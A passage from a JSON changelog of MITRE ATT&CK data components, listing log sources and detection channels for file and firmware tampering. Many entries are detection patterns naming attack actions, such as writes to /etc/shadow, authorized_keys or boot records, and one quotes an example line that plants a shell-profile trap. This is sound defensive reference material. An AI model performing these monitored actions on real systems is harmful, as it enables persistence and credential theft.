to .*.locked|datastore write spike" + }, + { + "name": "macos:unifiedlog", + "channel": "Mach-O binary modified or LC_LOAD_DYLIB segment inserted" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write syscalls targeting /etc/ld.so.preload or binaries in /usr/bin" + }, + { + "name": "macos:unifiedlog", + "channel": "Modified application plist or binary replacement in /Applications" + }, + { + "name": "esxi:shell", + "channel": "admin command usage" + }, + { + "name": "networkdevice:syslog", + "channel": "startup-config" + }, + { + "name": "macos:unifiedlog", + "channel": "File creation or overwrite in common web-hosting folders" + }, + { + "name": "esxi:vmkernel", + "channel": "Unauthorized file modifications within datastore volumes via shell access or vCLI" + }, + { + "name": "networkdevice:config", + "channel": "Configuration changes referencing 'crypto', 'key length', 'cipher', or downgrade of encryption settings" + }, + { + "name": "FirmwareLogs:Update", + "channel": "Unexpected firmware or image updates modifying cryptographic modules" + }, + { + "name": "fs:plist", + "channel": "/var/root/Library/Preferences/com.apple.loginwindow.plist" + }, + { + "name": "auditd:SYSCALL", + "channel": "modification of existing .service file" + }, + { + "name": "auditd:PATH", + "channel": "write or create events on *.pth, sitecustomize.py, usercustomize.py in site-packages or dist-packages" + }, + { + "name": "macos:unifiedlog", + "channel": "write of plist files in /Library/LaunchAgents or /Library/LaunchDaemons" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4670" + }, + { + "name": "WinEventLog:System", + "channel": "Unexpected modification to lsass.exe or cryptdll.dll" + }, + { + "name": "networkconfig", + "channel": "unexpected OS image file upload or modification events" + }, + { + "name": "network:runtime", + "channel": "checksum or runtime memory verification failures" + }, + { + "name": "macos:unifiedlog", + "channel": "write" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, write: Modification of /boot/grub/* or /boot/efi/*" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of /System/Library/CoreServices/boot.efi" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of LaunchAgents or LaunchDaemons plist files" + }, + { + "name": "auditd:SYSCALL", + "channel": "chmod" + }, + { + "name": "auditd:SYSCALL", + "channel": "rename,chmod" + }, + { + "name": "fs:fsevents", + "channel": "create/write/rename under user-writable paths" + }, + { + "name": "macos:osquery", + "channel": "Changes to LSFileQuarantineEnabled field in Info.plist" + }, + { + "name": "fs:fsusage", + "channel": "file access to /usr/lib/cron/tabs/ and cron output files" + }, + { + "name": "esxi:hostd", + "channel": "modification of crontab or local.sh entries" + }, + { + "name": "networkdevice:config", + "channel": "Configuration file modified or replaced on network device" + }, + { + "name": "macos:unifiedlog", + "channel": "Plist modifications containing virtualization run configurations" + }, + { + "name": "fs:fsusage", + "channel": "file access to /usr/lib/cron/at and job execution path" + }, + { + "name": "macos:unifiedlog", + "channel": "binary modified or replaced" + }, + { + "name": "esxi:hostd", + "channel": "binary or module replacement event" + }, + { + "name": "networkdevice:config", + "channel": "Configuration change events referencing encryption, TLS/SSL, or IPSec settings" + }, + { + "name": "networkdevice:firmware", + "channel": "Unexpected firmware update or image modification affecting crypto modules" + }, + { + "name": "fs:fsevents", + "channel": "file system events indicating permission, ownership, or extended attribute changes on critical paths. File system modification events with kFSEventStreamEventFlagItemChangeOwner, kFSEventStreamEventFlagItemXattrMod flags" + }, + { + "name": "auditd:FILE", + "channel": "Modification of Display Manager configuration files (/etc/gdm3/*, /etc/lightdm/*)" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of /Library/Preferences/com.apple.loginwindow plist" + }, + { + "name": "auditd:SYSCALL", + "channel": "Modification of user shell profile or trap registration via echo/redirection (e.g., echo \"trap 'malicious_cmd' INT\" >> ~/.bashrc)" + }, + { + "name": "macos:unifiedlog", + "channel": "File write or append to .zshrc, .bash_profile, .zprofile, etc." + }, + { + "name": "auditd:SYSCALL", + "channel": "chmod, write, create, open" + }, + { + "name": "fs:fsevents", + "channel": "Extensions" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, write: File writes to application binaries or libraries at runtime" + }, + { + "name": "macos:osquery", + "channel": "CALCULATE: Mismatch in file integrity of critical macOS applications" + }, + { + "name": "auditd:SYSCALL", + "channel": "file write operations in /Library/WebServer/Documents" + }, + { + "name": "fs:launchdaemons", + "channel": "file_modify" + }, + { + "name": "auditd:PATH", + "channel": "write: File modifications to /etc/systemd/sleep.conf or related power configuration files" + }, + { + "name": "macos:unifiedlog", + "channel": "write: File modification to com.apple.PowerManagement.plist or related system preference files" + }, + { + "name": "fs:fsusage", + "channel": "modification of existing LaunchAgents plist" + }, + { + "name": "macos:unifiedlog", + "channel": "create/modify dylib in monitored directories" + }, + { + "name": "WinEventLog:Application", + "channel": "81,3033" + }, + { + "name": "auditd:SYSCALL", + "channel": "write operation on /etc/passwd or /etc/shadow" + }, + { + "name": "macos:unifiedlog", + "channel": "modification to /var/db/dslocal/nodes/Default/users/" + }, + { + "name": "linux:osquery", + "channel": "New or modified kernel object files (.ko) within /lib/modules directory" + }, + { + "name": "macos:osquery", + "channel": "Modifications to /var/db/SystemPolicyConfiguration/KextPolicy or kext_policy table" + }, + { + "name": "networkdevice:audit", + "channel": "SNMP configuration changes, such as enabling read/write access or modifying community strings" + }, + { + "name": "macos:osquery", + "channel": "write" + }, + { + "name": "auditd:SYSCALL", + "channel": "mount or losetup commands creating hidden or encrypted FS" + }, + { + "name": "macos:unifiedlog", + "channel": "Hidden volume attachment or modification events" + }, + { + "name": "macos:unifiedlog", + "channel": "Suspicious plist edits for volume mounting behavior" + }, + { + "name": "networkdevice:config", + "channel": "Configuration changes to startup image paths, boot loader parameters, or debug flags" + }, + { + "name": "networkdevice:syslog", + "channel": "Checksum/hash mismatch between device OS image and baseline known-good version" + }, + { + "name": "macos:unifiedlog", + "channel": "file writes" + }, + { + "name": "m365:defender", + "channel": "OfficeTelemetry or DLP" + }, + { + "name": "fs:fsusage", + "channel": "Filesystem Access Logging" + }, + { + "name": "networkdevice:config", + "channel": "Configuration changes referencing cryptographic hardware modules or disabling hardware acceleration" + }, + { + "name": "FirmwareLogs:Update", + "channel": "Unexpected firmware updates that alter encryption libraries or disable hardware crypto modules" + }, + { + "name": "m365:office", + "channel": "Anomalous editing of invoice or payment document templates" + }, + { + "name": "fs:fsusage", + "channel": "truncate, unlink, write" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification or replacement of /Library/Application Support/com.apple.TCC/TCC.db or ~/Library/Application Support/com.apple.TCC/TCC.db" + }, + { + "name": "linux:fim", + "channel": "Changes to /etc/rc.local.d/local.sh or creation of unexpected startup files in persistent partitions (/etc/init.d, /store, /locker)" + }, + { + "name": "macos:endpointsecurity", + "channel": "write, rename" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write to /proc/*/mem or /proc/*/maps" + }, + { + "name": "sysdig:file", + "channel": "evt.type=write" + }, + { + "name": "macos:unifiedlog", + "channel": "rule definitions written to emond rule plists" + }, + { + "name": "networkdevice:config", + "channel": "Configuration changes referencing older image versions or unexpected boot parameters" + }, + { + "name": "FileIntegrity:ImageValidation", + "channel": "Hash/checksum mismatch against baseline vendor-provided OS image versions" + }, + { + "name": "auditd:SYSCALL", + "channel": "write or rename to /etc/systemd/system or /etc/init.d" + }, + { + "name": "fs:fsusage", + "channel": "file write to launchd plist paths" + }, + { + "name": "auditd:SYSCALL", + "channel": "modification of entrypoint scripts or init containers" + }, + { + "name": "fs:plist_monitoring", + "channel": "/Users/*/Library/Mail/V*/MailData/RulesActiveState.plist" + }, + { + "name": "auditd:SYSCALL", + "channel": "chmod/chown to /etc/passwd or /etc/shadow" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write syscalls targeting web directory files" + }, + { + "name": "macos:unifiedlog", + "channel": "Terminal/Editor processes modifying web folder" + }, + { + "name": "esxi:vmkernel", + "channel": "/var/log/vmkernel.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0061\", \"external_id\": \"DC0061\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"File\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write calls modifying ~/.bashrc, ~/.profile, or /etc/paths.d\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File modification in /etc/paths.d or user shell rc files\"}, {\"name\": \"fs:fileevents\", \"channel\": \"/var/log/quarantine.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of ~/Library/LaunchAgents or /Library/LaunchDaemons plist\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, write\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"AUDIT_SYSCALL (open, write, rename, unlink)\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_WRITE, targeting .zshrc, .zlogin, .zprofile\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4663\"}, {\"name\": \"fs:fileevents\", \"channel\": \"/var/log/install.log\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"PATH\"}, {\"name\": \"macos:osquery\", \"channel\": \"file_events\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=2\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve call for modification of /etc/sudoers or writing to /var/db/sudo\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, write: File modifications under /etc/ssl/certs, /usr/local/share/ca-certificates, or /etc/pki/ca-trust/source/anchors\"}, {\"name\": \"macos:osquery\", \"channel\": \"query: Enumeration of root certificates showing unexpected additions\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, unlink, rename: Suspicious file access, deletion, or modification of sensitive paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Anomalous plist modifications or sensitive file overwrites by non-standard processes\"}, {\"name\": \"auditd:FILE\", \"channel\": \"Modification or deletion of /etc/audit/audit.rules or /etc/audit/audit.conf\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write of .service unit files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write/unlink\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"loginwindow or desktopservices modified settings or files\"}, {\"name\": \"ESXiLogs:messages\", \"channel\": \"changes to /etc/motd or /etc/vmware/welcome\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write, rename\"}, {\"name\": \"containerd:runtime\", \"channel\": \"file change monitoring within /etc/cron.*, /tmp, or mounted volumes\"}, {\"name\": \"esxi:cron\", \"channel\": \"manual edits to /etc/rc.local.d/local.sh or cron.d\"}, {\"name\": \"auditd:PATH\", \"channel\": \"/etc/passwd or /etc/group file write\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"SecurityAgentPlugins modification\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"write: File modifications to *.plist within LaunchAgents, LaunchDaemons, Application Support, or Preferences directories\"}, {\"name\": \"linux:osquery\", \"channel\": \"file_events\"}, {\"name\": \"esxi:hostd\", \"channel\": \"boot\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"config\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of backgrounditems.btm or creation of LoginItems subdirectory in .app bundle\"}, {\"name\": \"fs:filesystem\", \"channel\": \"Modification or creation of files matching 'com.apple.loginwindow.*.plist' in ~/Library/Preferences/ByHost\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write | PATH=/home/*/.ssh/authorized_keys\"}, {\"name\": \"macos:auth\", \"channel\": \"~/.ssh/authorized_keys\"}, {\"name\": \"gcp:audit\", \"channel\": \"compute.instances.setMetadata\"}, {\"name\": \"azure:resource\", \"channel\": \"PATCH vm/authorized_keys\"}, {\"name\": \"esxi:shell\", \"channel\": \"file write or edit\"}, {\"name\": \"linux:syslog\", \"channel\": \"rename\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"file_write\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of plist with apple.awt.UIElement set to TRUE\"}, {\"name\": \"fs:fsusage\", \"channel\": \"unlink, write\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, write: Write operations targeting /dev/sda, /dev/nvme0n1, or EFI partition mounts\"}, {\"name\": \"auditd:PATH\", \"channel\": \"write: Modification of /boot/grub/*, /boot/efi/EFI/*, or initramfs images\"}, {\"name\": \"networkdevice:config\", \"channel\": \"config-change: timezone or ntp server configuration change after a time query command\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"replace existing dylibs\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration changes to boot variables, startup image paths, or checksum verification failures\"}, {\"name\": \"firmware:update\", \"channel\": \"Unexpected or unscheduled firmware updates, image overwrites, or failed signature validation\"}, {\"name\": \"IntegrityCheck:ImageValidation\", \"channel\": \"Checksum or hash mismatch between running image and known-good vendor-provided image\"}, {\"name\": \"macos:osquery\", \"channel\": \"File modifications in ~/Library/Preferences/\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write to /etc/pam.d/*\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of /Library/Security/SecurityAgentPlugins\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modifications to Mail.app plist files controlling message rules\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4656,4663\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write: Modification of structured stored data by suspicious processes\"}, {\"name\": \"linux:syslog\", \"channel\": \"Unexpected log entries or malformed SQL operations in databases\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected creation or modification of stored data files in protected directories\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EvenCode=2\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"openat, write, rename, unlink\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file encrypted|new file with .encrypted extension|disk write burst\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"rename .vmdk to .*.locked|datastore write spike\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Mach-O binary modified or LC_LOAD_DYLIB segment inserted\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write syscalls targeting /etc/ld.so.preload or binaries in /usr/bin\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modified application plist or binary replacement in /Applications\"}, {\"name\": \"esxi:shell\", \"channel\": \"admin command usage\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"startup-config\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File creation or overwrite in common web-hosting folders\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Unauthorized file modifications within datastore volumes via shell access or vCLI\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration changes referencing 'crypto', 'key length', 'cipher', or downgrade of encryption settings\"}, {\"name\": \"FirmwareLogs:Update\", \"channel\": \"Unexpected firmware or image updates modifying cryptographic modules\"}, {\"name\": \"fs:plist\", \"channel\": \"/var/root/Library/Preferences/com.apple.loginwindow.plist\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"modification of existing .service file\"}, {\"name\": \"auditd:PATH\", \"channel\": \"write or create events on *.pth, sitecustomize.py, usercustomize.py in site-packages or dist-packages\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"write of plist files in /Library/LaunchAgents or /Library/LaunchDaemons\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4670\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"Unexpected modification to lsass.exe or cryptdll.dll\"}, {\"name\": \"networkconfig\", \"channel\": \"unexpected OS image file upload or modification events\"}, {\"name\": \"network:runtime\", \"channel\": \"checksum or runtime memory verification failures\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"write\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, write: Modification of /boot/grub/* or /boot/efi/*\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of /System/Library/CoreServices/boot.efi\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of LaunchAgents or LaunchDaemons plist files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"chmod\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"rename,chmod\"}, {\"name\": \"fs:fsevents\", \"channel\": \"create/write/rename under user-writable paths\"}, {\"name\": \"macos:osquery\", \"channel\": \"Changes to LSFileQuarantineEnabled field in Info.plist\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file access to /usr/lib/cron/tabs/ and cron output files\"}, {\"name\": \"esxi:hostd\", \"channel\": \"modification of crontab or local.sh entries\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration file modified or replaced on network device\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Plist modifications containing virtualization run configurations\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file access to /usr/lib/cron/at and job execution path\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"binary modified or replaced\"}, {\"name\": \"esxi:hostd\", \"channel\": \"binary or module replacement event\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration change events referencing encryption, TLS/SSL, or IPSec settings\"}, {\"name\": \"networkdevice:firmware\", \"channel\": \"Unexpected firmware update or image modification affecting crypto modules\"}, {\"name\": \"fs:fsevents\", \"channel\": \"file system events indicating permission, ownership, or extended attribute changes on critical paths. File system modification events with kFSEventStreamEventFlagItemChangeOwner, kFSEventStreamEventFlagItemXattrMod flags\"}, {\"name\": \"auditd:FILE\", \"channel\": \"Modification of Display Manager configuration files (/etc/gdm3/*, /etc/lightdm/*)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of /Library/Preferences/com.apple.loginwindow plist\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Modification of user shell profile or trap registration via echo/redirection (e.g., echo \\\"trap 'malicious_cmd' INT\\\" >> ~/.bashrc)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File write or append to .zshrc, .bash_profile, .zprofile, etc.\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"chmod, write, create, open\"}, {\"name\": \"fs:fsevents\", \"channel\": \"Extensions\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, write: File writes to application binaries or libraries at runtime\"}, {\"name\": \"macos:osquery\", \"channel\": \"CALCULATE: Mismatch in file integrity of critical macOS applications\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"file write operations in /Library/WebServer/Documents\"}, {\"name\": \"fs:launchdaemons\", \"channel\": \"file_modify\"}, {\"name\": \"auditd:PATH\", \"channel\": \"write: File modifications to /etc/systemd/sleep.conf or related power configuration files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"write: File modification to com.apple.PowerManagement.plist or related system preference files\"}, {\"name\": \"fs:fsusage\", \"channel\": \"modification of existing LaunchAgents plist\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"create/modify dylib in monitored directories\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"81,3033\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write operation on /etc/passwd or /etc/shadow\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"modification to /var/db/dslocal/nodes/Default/users/\"}, {\"name\": \"linux:osquery\", \"channel\": \"New or modified kernel object files (.ko) within /lib/modules directory\"}, {\"name\": \"macos:osquery\", \"channel\": \"Modifications to /var/db/SystemPolicyConfiguration/KextPolicy or kext_policy table\"}, {\"name\": \"networkdevice:audit\", \"channel\": \"SNMP configuration changes, such as enabling read/write access or modifying community strings\"}, {\"name\": \"macos:osquery\", \"channel\": \"write\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"mount or losetup commands creating hidden or encrypted FS\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Hidden volume attachment or modification events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Suspicious plist edits for volume mounting behavior\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration changes to startup image paths, boot loader parameters, or debug flags\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Checksum/hash mismatch between device OS image and baseline known-good version\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file writes\"}, {\"name\": \"m365:defender\", \"channel\": \"OfficeTelemetry or DLP\"}, {\"name\": \"fs:fsusage\", \"channel\": \"Filesystem Access Logging\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration changes referencing cryptographic hardware modules or disabling hardware acceleration\"}, {\"name\": \"FirmwareLogs:Update\", \"channel\": \"Unexpected firmware updates that alter encryption libraries or disable hardware crypto modules\"}, {\"name\": \"m365:office\", \"channel\": \"Anomalous editing of invoice or payment document templates\"}, {\"name\": \"fs:fsusage\", \"channel\": \"truncate, unlink, write\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification or replacement of /Library/Application Support/com.apple.TCC/TCC.db or ~/Library/Application Support/com.apple.TCC/TCC.db\"}, {\"name\": \"linux:fim\", \"channel\": \"Changes to /etc/rc.local.d/local.sh or creation of unexpected startup files in persistent partitions (/etc/init.d, /store, /locker)\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"write, rename\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write to /proc/*/mem or /proc/*/maps\"}, {\"name\": \"sysdig:file\", \"channel\": \"evt.type=write\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"rule definitions written to emond rule plists\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Configuration changes referencing older image versions or unexpected boot parameters\"}, {\"name\": \"FileIntegrity:ImageValidation\", \"channel\": \"Hash/checksum mismatch against baseline vendor-provided OS image versions\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write or rename to /etc/systemd/system or /etc/init.d\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file write to launchd plist paths\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"modification of entrypoint scripts or init containers\"}, {\"name\": \"fs:plist_monitoring\", \"channel\": \"/Users/*/Library/Mail/V*/MailData/RulesActiveState.plist\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"chmod/chown to /etc/passwd or /etc/shadow\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/write syscalls targeting web directory files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Terminal/Editor processes modifying web folder\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"/var/log/vmkernel.log\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.239000+00:00\", \"old_value\": \"2025-04-18 15:10:11.410000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:38.020000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0004", + "external_id": "DC0004" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Firmware Modification", + "description": "Changes made to firmware, which may include its settings, configurations, or underlying data. This can encompass alterations to the Master Boot Record (MBR), Volume Boot Record (VBR), or other firmware components critical to system boot and functionality. Such modifications are often indicators of adversary activity, including malware persistence and system compromise. Examples: \n\n- Changes to Master Boot Record (MBR): Modifying the MBR to load malicious code during the boot process.\n- Changes to Volume Boot Record (VBR): Altering the VBR to redirect boot processes to malicious locations.\n- Firmware Configuration Changes: Modifying BIOS/UEFI settings such as disabling Secure Boot.\n- Firmware Image Tampering: Updating firmware with a malicious or unauthorized image.\n- Logs or Errors Indicating Firmware Changes: Logs showing unauthorized firmware updates or checksum mismatches.\n\nThis data component can be collected through the following measures:\n\n- BIOS/UEFI Logs: Enable and monitor BIOS/UEFI logs to capture settings changes or firmware updates.\n- Firmware Integrity Monitoring: Use tools or firmware security features to detect changes to firmware components.\n- Endpoint Detection and Response (EDR) Solutions: Many EDR platforms can detect abnormal firmware activity, such as changes to MBR/VBR or unauthorized firmware updates.\n- File System Monitoring: Monitor changes to MBR/VBR-related files using tools like Sysmon or auditd.\n - Windows Example (Sysmon): Monitor Event ID 7 (Raw disk access).\n - Linux Example (auditd): `auditctl -w /dev/sda -p wa -k firmware_modification`\n- Network Traffic Analysis: Capture firmware updates downloaded over the network, particularly from untrusted sources. Use network monitoring tools like Zeek or Wireshark to analyze firmware-related traffic.\n- Secure Boot Logs: Collect and analyze Secure Boot logs for signs of tampering or unauthorized configurations. Example: Use PowerShell to retrieve Secure Boot settings on Windows: `Confirm-SecureBootUEFI`\n- Vendor-Specific Firmware Tools: Many hardware vendors provide tools for firmware integrity checks.Examples:\n - Intel Platform Firmware Resilience (PFR).\n - Lenovo UEFI diagnostics.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Firmware", + "channel": "None" + }, + { + "name": "networkdevice:syslog", + "channel": "Image Upgrade / Configuration Change" + }, + { + "name": "networkdevice:config", + "channel": "Boot image path or firmware configuration variable modified outside of maintenance windows" + }, + { + "name": "WinEventLog:Microsoft-Windows-Kernel-Boot", + "channel": "Firmware integrity validation failed or boot configuration tampered" + }, + { + "name": "auditd:SYSCALL", + "channel": "write access to /dev/mem or /sys/firmware/efi/efivars" + }, + { + "name": "macos:unifiedlog", + "channel": "boot failure events or SMC validation errors" + }, + { + "name": "networkdevice:firmware", + "channel": "Firmware update initiated or bootloader tampering detected" + }, + { + "name": "networkdevice:config", + "channel": "Log entries indicating ROMMON image upgrade commands (boot system, upgrade rom-monitor)" + }, + { + "name": "networkdevice:config", + "channel": "Boot variable modified to point to non-standard or unsigned image" + }, + { + "name": "firmware:integrity ", + "channel": "Firmware integrity verification failures or mismatches against expected UEFI/firmware image baselines" + }, + { + "name": "auditd:SYSCALL", + "channel": "ioctl/write: Direct firmware update or device memory manipulation syscalls" + }, + { + "name": "firmware:smart", + "channel": "Unexpected firmware-level errors or abnormal S.M.A.R.T. log entries" + }, + { + "name": "macos:unifiedlog", + "channel": "Firmware update events or kernel extension (kext) loads not signed by Apple" + }, + { + "name": "firmware:integrity", + "channel": "Baseline mismatch or unexpected EFI module detected during integrity checks" + }, + { + "name": "macos:osquery", + "channel": "Unexpected changes in EFI or NVRAM variables controlling hardware boot state" + }, + { + "name": "networkdevice:syslog", + "channel": "Custom firmware or routing changes" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Storage", + "channel": "Raw disk I/O operations bypassing NTFS APIs" + }, + { + "name": "firmware:runtime", + "channel": "Debug or memory access commands indicating attempts to alter OS instructions in memory" + }, + { + "name": "networkdevice:syslog", + "channel": "Boot information log showing image loaded from TFTP server instead of local storage" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0004\", \"external_id\": \"DC0004\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Firmware\", \"channel\": \"None\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Image Upgrade / Configuration Change\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Boot image path or firmware configuration variable modified outside of maintenance windows\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Kernel-Boot\", \"channel\": \"Firmware integrity validation failed or boot configuration tampered\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write access to /dev/mem or /sys/firmware/efi/efivars\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"boot failure events or SMC validation errors\"}, {\"name\": \"networkdevice:firmware\", \"channel\": \"Firmware update initiated or bootloader tampering detected\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Log entries indicating ROMMON image upgrade commands (boot system, upgrade rom-monitor)\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Boot variable modified to point to non-standard or unsigned image\"}, {\"name\": \"firmware:integrity \", \"channel\": \"Firmware integrity verification failures or mismatches against expected UEFI/firmware image baselines\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ioctl/write: Direct firmware update or device memory manipulation syscalls\"}, {\"name\": \"firmware:smart\", \"channel\": \"Unexpected firmware-level errors or abnormal S.M.A.R.T. log entries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Firmware update events or kernel extension (kext) loads not signed by Apple\"}, {\"name\": \"firmware:integrity\", \"channel\": \"Baseline mismatch or unexpected EFI module detected during integrity checks\"}, {\"name\": \"macos:osquery\", \"channel\": \"Unexpected changes in EFI or NVRAM variables controlling hardware boot state\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Custom firmware or routing changes\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Storage\", \"channel\": \"Raw disk I/O operations bypassing NTFS APIs\"}, {\"name\": \"firmware:runtime\", 